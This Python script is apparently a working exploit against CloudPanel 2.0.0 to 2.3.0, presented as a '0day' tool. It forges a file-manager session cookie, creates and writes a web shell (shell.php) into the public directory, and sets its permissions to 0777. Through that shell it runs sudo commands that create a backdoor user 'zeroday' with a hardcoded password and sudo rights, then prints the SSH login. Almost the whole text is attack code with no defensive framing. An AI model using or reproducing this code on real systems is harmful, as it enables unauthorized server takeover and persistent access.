import subprocess, argparse
import warnings ,os, sys
import ctypes, platform, requests
from colorama import Fore, Back, Style
from datetime import date
warnings.filterwarnings('ignore')
cmd = '/usr/bin/php8.1 Crypto.php'
default_path = '/file-manager/'
parser = argparse.ArgumentParser()
username = 'clp'
tgt = ''
#Use for automatically add new user with sudo privileges
user_add = "useradd zeroday -s /bin/bash -b /tmp"
user_passwd = "echo 'Etharus@1337%0AEtharus@1337' | passwd zeroday"
user_mod = "usermod -aG sudo zeroday"
gains = ["sudo su -c '"+user_add+"'",'sudo su -c "'+user_passwd+'"',"sudo su -c '"+user_mod+"'"]
def execPHP(txt=False):
global cmd
returned_output = ''
if False == txt:
proc = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE)
returned_output = proc.stdout.read().decode('utf-8')
else:
cmd = cmd + ' ' + txt
proc = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE)
returned_output = proc.stdout.read().decode('utf-8')
return returned_output
def exploit():
global tgt,default_path,username
target = 'https://' + tgt.replace('/','')
ipTarget = tgt.split(':')[0]
crypto = execPHP()
cookie = {'clp-fm':crypto}
try:
request = requests.get(target+default_path,cookies=cookie,verify=False,timeout=5)
if request.status_code == 200:
up_data = {'id':'/htdocs/app/files/public/','name':'shell.php'}
new_ck = {'clp-fm':execPHP(username)}
try:
new_request = requests.post(target+default_path+'backend/makefile',cookies=new_ck,data=up_data,verify=False,timeout=5)
if new_request.status_code == 200:
cdata = {'id':'/htdocs/app/files/public/shell.php','content':open('shell.php','rb').read()}
try:
crequest = requests.post(target+default_path+'backend/text',cookies=new_ck,data=cdata,verify=False,timeout=5)
if crequest.status_code == 200:
pdata = {'id':'/htdocs/app/files/public/shell.php','permissions':'0777'}
try:
prequest = requests.post(target+default_path+'backend/permissions',cookies=new_ck,data=pdata,verify=False,timeout=5)
if prequest.status_code == 200:
shell_check = requests.get(target+'/shell.php',verify=False,timeout=5)
if shell_check.status_code == 200:
print(Style.BRIGHT + Fore.GREEN + '[+] WebShell : ' + target+'/shell.php')
for gain in gains:
requests.get(target+'/shell.php?cmd='+gain,verify=False,timeout=10)
print(Style.BRIGHT + Fore.GREEN + '[+] SSH Login : user=zeroday,pass=Etharus@1337')
except:
print(Style.BRIGHT + Fore.RED+'Connection error while changing permission!')
except:
print(Style.BRIGHT + Fore.RED+'Connection error while trying insert contents!')
except:
print(Style.BRIGHT + Fore.RED+'Connection error while trying creating file!')
else:
print(Style.BRIGHT + Fore.RED+'Not Vulnerable...')
except:
print(Style.BRIGHT + Fore.RED+'Connection error!')
def StartPage():
global tgt,prt
parser.add_argument('-T','--target',dest='tgt',type=str, help='Ex: 127.0.0.1:8443',default=None, required=True)
args = parser.parse_args()
tgt = args.tgt
exploit()
if __name__ == '__main__':
today = date.today()
d2 = today.strftime("%B %d, %Y")
if platform.system()=='Linux':
os.system('clear')
sys.stdout.write("\x1b]2;CLP 0Day {}\x07".format(d2))
else:
os.system('cls')
ctypes.windll.kernel32.SetConsoleTitleW(f'CLP 0Day | {d2}')
print(f"""{Style.BRIGHT + Fore.GREEN}
______ _____ _____ __ _
/ ____/___ _/ / (_)___ ____ _/ ___// /__(_)__ _____
/ /_ / __ `/ / / / __ \/ __ `/\__ \/ //_/ / _ \/ ___/
/ __/ / /_/ / / / / / / / /_/ /___/ / ,< / / __(__ )
/_/ \__,_/_/_/_/_/ /_/\__, //____/_/|_/_/\___/____/
/____/ CloudPanel 0day Version : 2.0.0 >= 2.3.0
{Style.BRIGHT + Fore.MAGENTA}
░█▀▄░█▀█░▀█▀░█▀█░█▀▀░█░█░░░░█▄█░█░█
░█░█░█▀█░░█░░█▀█░█░░░█▀▄░░░░█░█░░█░
░▀▀░░▀░▀░░▀░░▀░▀░▀▀▀░▀░▀░▀░░▀░▀░░▀░
{Style.BRIGHT + Fore.WHITE}""")
StartPage()
京公网安备 11010502034610号
暂无评论